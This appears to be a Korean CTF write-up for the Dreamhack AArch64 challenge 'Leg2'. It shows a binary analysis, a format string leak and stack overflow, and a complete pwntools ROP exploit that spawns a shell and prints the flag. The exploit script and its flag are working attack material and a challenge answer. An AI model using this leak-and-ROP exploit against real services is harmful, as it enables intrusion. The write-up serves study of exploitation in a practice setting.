Description

    드림이는 ARM 의 세계에 첫 발을 내밀었어요!

    checksec

    ubuntu@instance-20230517-1532:~/Desktop/Leg2$ checksec ./chal
    [*] '/home/ubuntu/Desktop/Leg2/chal'
        Arch:     aarch64-64-little
        RELRO:    Full RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      PIE enabled

    Decompiled-src

    main

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      proc_init();
      vuln();
      return 0;
    }

    proc_init

    __int64 *proc_init()
    {
      __int64 *result; // x0
    
      setvbuf(stdin, 0LL, 2, 0LL);
      setvbuf(stdout, 0LL, 2, 0LL);
      setvbuf(stderr, 0LL, 2, 0LL);
      result = &name;
      name = (__int64)name_pointer;
      return result;
    }

    vuln

    __int64 vuln()
    {
      char v1; // [xsp+10h] [xbp+10h] BYREF
    
      printf("your name > ");
      read_input(name_pointer, 32);
      printf("Hi! ");
      printf(name_pointer);
      putchar(10);
      printf("Let me know your message!");
      printf("\n> ");
      return read_input(&v1, 512);
    }

    IDA Pro로 Pseudo-code로 나타내면 위와 같이 나오는데,
    vuln 함수에서의 v1 버퍼크기가 틀리게 나오는등 다소 부정확하게 나온다.

    Analysis

    vuln

    gdb-peda$ disas vuln
    Dump of assembler code for function vuln:
       0x0000000000000bd0 <+0>:	stp	x29, x30, [sp, #-272]!
       0x0000000000000bd4 <+4>:	mov	x29, sp
       0x0000000000000bd8 <+8>:	adrp	x0, 0x0
       0x0000000000000bdc <+12>:	add	x0, x0, #0xc80
       0x0000000000000be0 <+16>:	bl	0x860 <printf@plt>
       0x0000000000000be4 <+20>:	mov	w1, #0x20
       0x0000000000000be8 <+24>:	adrp	x0, 0x12000
       0x0000000000000bec <+28>:	add	x0, x0, #0x40
       0x0000000000000bf0 <+32>:	bl	0xac4 <read_input>
       0x0000000000000bf4 <+36>:	adrp	x0, 0x0
       0x0000000000000bf8 <+40>:	add	x0, x0, #0xc90
       0x0000000000000bfc <+44>:	bl	0x860 <printf@plt>
       0x0000000000000c00 <+48>:	adrp	x0, 0x12000
       0x0000000000000c04 <+52>:	add	x0, x0, #0x40
       0x0000000000000c08 <+56>:	bl	0x860 <printf@plt>
       0x0000000000000c0c <+60>:	mov	w0, #0xa
       0x0000000000000c10 <+64>:	bl	0x850 <putchar@plt>
       0x0000000000000c14 <+68>:	adrp	x0, 0x0
       0x0000000000000c18 <+72>:	add	x0, x0, #0xc98
       0x0000000000000c1c <+76>:	bl	0x860 <printf@plt>
       0x0000000000000c20 <+80>:	adrp	x0, 0x0
       0x0000000000000c24 <+84>:	add	x0, x0, #0xcb8
       0x0000000000000c28 <+88>:	bl	0x860 <printf@plt>
       0x0000000000000c2c <+92>:	add	x0, sp, #0x10
       0x0000000000000c30 <+96>:	mov	w1, #0x200
       0x0000000000000c34 <+100>:	bl	0xac4 <read_input>
       0x0000000000000c38 <+104>:	nop
       0x0000000000000c3c <+108>:	ldp	x29, x30, [sp], #272
       0x0000000000000c40 <+112>:	ret

    vuln 함수에서의 스택 구조는 위와 같다.

    read 함수를 통해 v1 지역변수에 512(=0x200)바이트만큼 입력받는데,
    여기서 v1 지역변수는 256바이트로 할당되어있어 버퍼 오버플로우 취약점이 발생한다.

    Solution

    이전에 공부했던 내용을 바탕으로 ROP 기법을 통해 풀어보았다.

    from pwn import *
    #context.log_level = 'debug'
    context(arch='aarch64', os='linux')
    warnings.filterwarnings('ignore')
    
    p = remote("host3.dreamhack.games", 12987)
    e = ELF('./chal', checksec=False)
    libc = ELF('./libc.so', checksec=False)
    
    p.sendlineafter(b"your name > ", b"%p %p %p %p %p %p %p /bin/sh")
    tmp = p.recvline()
    bin_base = tmp.split(b" ")[-2]
    bin_base = bin_base.split(b"\n")[0]
    bin_base = int(bin_base, 16)
    
    libc_base = tmp.split(b" ")[3]
    libc_base = int(libc_base, 16)
    libc_base = libc_base - 0x46f4c
    success(f"libc_base: {hex(libc_base)}")
    
    bin_base = bin_base - 0xc90 #Hi!
    success(f"bin_base: {hex(bin_base)}")
    
    # ROP
    # chal
    # 0x0000000000000a08 <+88>:	ldr	x19, [sp, #16]
    # 0x0000000000000a0c <+92>:	ldp	x29, x30, [sp], #32
    # 0x0000000000000a10 <+96>:	ret
    
    # libc.so
    # 0x0000000000059ad0 <+168>:	mov	x0, x19
    # 0x0000000000059ad4 <+172>:	ldp	x19, x20, [sp, #16]
    # 0x0000000000059ad8 <+176>:	ldp	x29, x30, [sp], #32
    # 0x0000000000059adc <+180>:	ret
    
    payload = b"\x00"*(0x108)
    payload += p64(0xA08 + bin_base)
    payload += b"B"*8
    payload += p64(0x59ad0 + libc_base)
    payload += p64(e.symbols['name_pointer'] + 0x15 + bin_base) #name_pointer+0x15 /bin/sh
    payload += b"C"*8
    payload += b"D"*8
    payload += p64(libc.symbols["system"] + libc_base)
    
    p.sendlineafter(b"> ", payload)
    
    p.interactive()

    Result

    ubuntu@instance-20230517-1532:~/Desktop/Leg2$ python3 solve.py
    [+] Opening connection to host3.dreamhack.games on port 12987: Done
    [+] libc_base: 0xffffb499e000
    [+] bin_base: 0xaaaab7d09000
    [*] Switching to interactive mode
    $ cat /flag
    DH{1b5390bac7a388c32a6a6268f321e0d6}
    $ exit
    $ 
    [*] Interrupted
    [*] Closed connection to host3.dreamhack.games port 12987

    답글 남기기

    이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다